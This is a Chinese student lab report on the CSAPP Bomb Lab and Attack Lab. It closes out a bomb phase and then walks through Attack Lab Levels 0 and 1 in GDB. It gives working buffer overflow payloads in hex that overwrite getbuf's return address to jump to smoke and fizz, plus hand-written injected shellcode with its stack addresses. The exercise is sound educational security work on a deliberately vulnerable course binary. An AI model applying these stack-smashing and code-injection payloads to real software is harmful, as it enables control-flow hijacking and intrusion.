   0x08048de0 <+77>:	mov    (%eax),%edx
   0x08048de2 <+79>:	mov    -0xc(%ebp),%eax
   0x08048de5 <+82>:	mov    (%eax),%eax
   0x08048de7 <+84>:	cmp    %eax,%edx
   0x08048de9 <+86>:	jg     0x8048dc8 <fun6+53>
   0x08048deb <+88>:	mov    -0x8(%ebp),%eax
   0x08048dee <+91>:	cmp    -0x4(%ebp),%eax
   0x08048df1 <+94>:	je     0x8048dfe <fun6+107>
   0x08048df3 <+96>:	mov    -0x8(%ebp),%edx
   0x08048df6 <+99>:	mov    -0xc(%ebp),%eax
   0x08048df9 <+102>:	mov    %eax,0x8(%edx)
   0x08048dfc <+105>:	jmp    0x8048e04 <fun6+113>
   0x08048dfe <+107>:	mov    -0xc(%ebp),%eax
   0x08048e01 <+110>:	mov    %eax,-0x10(%ebp)
   0x08048e04 <+113>:	mov    -0xc(%ebp),%eax
   0x08048e07 <+116>:	mov    0x8(%eax),%eax
   0x08048e0a <+119>:	mov    %eax,-0x8(%ebp)
   0x08048e0d <+122>:	mov    -0xc(%ebp),%edx
   0x08048e10 <+125>:	mov    -0x4(%ebp),%eax
   0x08048e13 <+128>:	mov    %eax,0x8(%edx)
   0x08048e16 <+131>:	mov    -0x8(%ebp),%eax
   0x08048e19 <+134>:	mov    %eax,-0xc(%ebp)
   0x08048e1c <+137>:	cmpl   $0x0,-0xc(%ebp)
   0x08048e20 <+141>:	jne    0x8048dba <fun6+39>
   0x08048e22 <+143>:	mov    -0x10(%ebp),%eax
   0x08048e25 <+146>:	leave
   0x08048e26 <+147>:	ret
End of assembler dump.

发现其中并没有根据参数调整的地方，GDB 运行至0x8048e74 <phase_6+77>，发现与地址0x804a5d0储存的值进行比较，打印为 530，所以我们最终答案为

1
530

实验结果

按照阶段依次输入上面分析的答案，运行结果截图如下：

Lab3: Attack Lab

姓名：张钏楠

学号：SA21011017

实验介绍

本报告为中科大研究生课程计算机系统Lab3——Attack Lab（参考CMU CSAPP Lab1 ）的实验报告，主要记录实验 3 的攻击过程以及主要思考。通过本实验能过更加深刻的理解栈帧概念，机器及程序的控制与数据管理，并掌握利用栈溢出进行攻击以及汇编代码注入的能力。

实验环境

Lenovo Laptop

  • CPU: AMD Ryzen 5 2.10GHz
  • RAM: 16GB
  • OS: Ubuntu 20.04

实验详解

Level 0: Candle

针对 getbuf 反汇编

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) disas getbuf
Dump of assembler code for function getbuf:
   0x08048fe0 <+0>:     push   %ebp
   0x08048fe1 <+1>:     mov    %esp,%ebp
   0x08048fe3 <+3>:     sub    $0x18,%esp
   0x08048fe6 <+6>:     lea    -0xc(%ebp),%eax
   0x08048fe9 <+9>:     mov    %eax,(%esp)
   0x08048fec <+12>:    call   0x8048e60 <Gets>
   0x08048ff1 <+17>:    mov    $0x1,%eax
   0x08048ff6 <+22>:    leave
   0x08048ff7 <+23>:    ret
End of assembler dump.

smoke函数地址0x8048e20，。GDB 调试发现，原本的 getbuf 返回地址存放在栈0xffffb54c。压栈存入%ebp栈指针为0xffffb548，0x08048fe3 <getbuf+3>，分配栈空间 24 个字节，栈指针为0xffffb530。缓冲区起始地址打印：

1
2
(gdb) x/s $ebp-0xc
0xffffb53c:     ""

从0xffffb53c覆盖到0xffffb54c，需要先填充 10 字节字符串内容，然后填充20,8e,04,08（小端机器），如果是 64 位机器则需要继续覆盖后面为 0.

所以我们需要构造字符串十六进制表示:

1
2
3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
20 8e 04 08 00 00 00 00

./sendstring <exploit.txt> exploit-test.txt 使用工具构造输入。

实验结果:

Level 1: Sparker

和 Level 0 要求类似，这次要求返回到fizz函数并传入参数，反汇编结果如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) disas fizz
Dump of assembler code for function fizz:
   0x08048dc0 <+0>:     push   %ebp
   0x08048dc1 <+1>:     mov    %esp,%ebp
   0x08048dc3 <+3>:     push   %ebx
   0x08048dc4 <+4>:     sub    $0x14,%esp
   0x08048dc7 <+7>:     mov    0x8(%ebp),%ebx
   0x08048dca <+10>:    movl   $0x1,(%esp)
   0x08048dd1 <+17>:    call   0x80489a0 <entry_check>
   0x08048dd6 <+22>:    cmp    0x804a1cc,%ebx
   0x08048ddc <+28>:    je     0x8048e00 <fizz+64>
   0x08048dde <+30>:    mov    %ebx,0x4(%esp)
   0x08048de2 <+34>:    movl   $0x8049898,(%esp)
   0x08048de9 <+41>:    call   0x8048764 <printf@plt>
   0x08048dee <+46>:    movl   $0x0,(%esp)
   0x08048df5 <+53>:    call   0x80487a4 <exit@plt>
   0x08048dfa <+58>:    lea    0x0(%esi),%esi
   0x08048e00 <+64>:    mov    %ebx,0x4(%esp)
   0x08048e04 <+68>:    movl   $0x8049a29,(%esp)
   0x08048e0b <+75>:    call   0x8048764 <printf@plt>
   0x08048e10 <+80>:    movl   $0x1,(%esp)
   0x08048e17 <+87>:    call   0x8048ae0 <validate>
   0x08048e1c <+92>:    jmp    0x8048dee <fizz+46>
End of assembler dump.

阅读fizz的反汇编可知，压入调用者旧%ebp，该位置也为覆盖的返回地址，此时应该为 fizz 的起始地址，%ebp+4存放的是正常调用 fizz 的返回地址，而参数的地址应该为%ebp+0x8的位置，我们只需要将自己的 cookie 放置在该位置即可。

所以我们需要构造字符串十六进制表示:

1
2
3
4
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 8d 04 08 00 00 00 00
cf f0 2e 2a 00 00 00 00

实验结果:

注：在 32 位的程序里面，我们可以往返回地址后面写上 cookie 作为参数，但是 64 位程序前 6 个参数采用寄存器传参，那么要成功攻击就必须修改 rdi 寄存器的值为 cookie

做了一些额外的尝试 汇编注入编写如下汇编代码

1
2
3
4
5
.code32

mov $0x2a2ef0cf, %edi
pushl $0x8048dc0
ret

运行gcc -m32 -c exploit-sparkler.s，以及objdump -d exploit-sparkler.o得到：

1
2
3
4
00000000 <.text>:
   0:   bf cf f0 2e 2a          mov    $0x2a2ef0cf,%edi
   5:   68 c0 8d 04 08          push   $0x8048dc0
  a:   c3                      ret

寻找栈指针，之前 Lab 0 已查看过，原本的 getbuf 返回地址存放在栈0xffffb54c，压栈存入%ebp栈指针为0xffffb548

构造

1
2
3
bf cf f0 2e 2a 68 c0 8d
04 08 c3 00 00 00 00 00
3c b5 ff ff

从实验结果看，尝试的注入成功，也跳转到了构造的指令处，但是执行会报段错位（应该是 IA32 和 x84-64 的一些区别）

本实验完成的实验结果见上面栈填充的结果图

实验结果

实验结果见Level 0 和Level 1详解后面附的实验结果图